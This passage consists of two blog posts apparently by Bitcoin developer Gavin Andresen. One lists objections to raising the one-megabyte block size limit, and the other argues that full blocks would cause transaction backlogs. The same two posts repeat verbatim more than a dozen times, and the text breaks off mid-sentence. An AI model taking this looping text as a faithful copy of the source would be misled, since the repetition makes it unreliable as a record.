maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
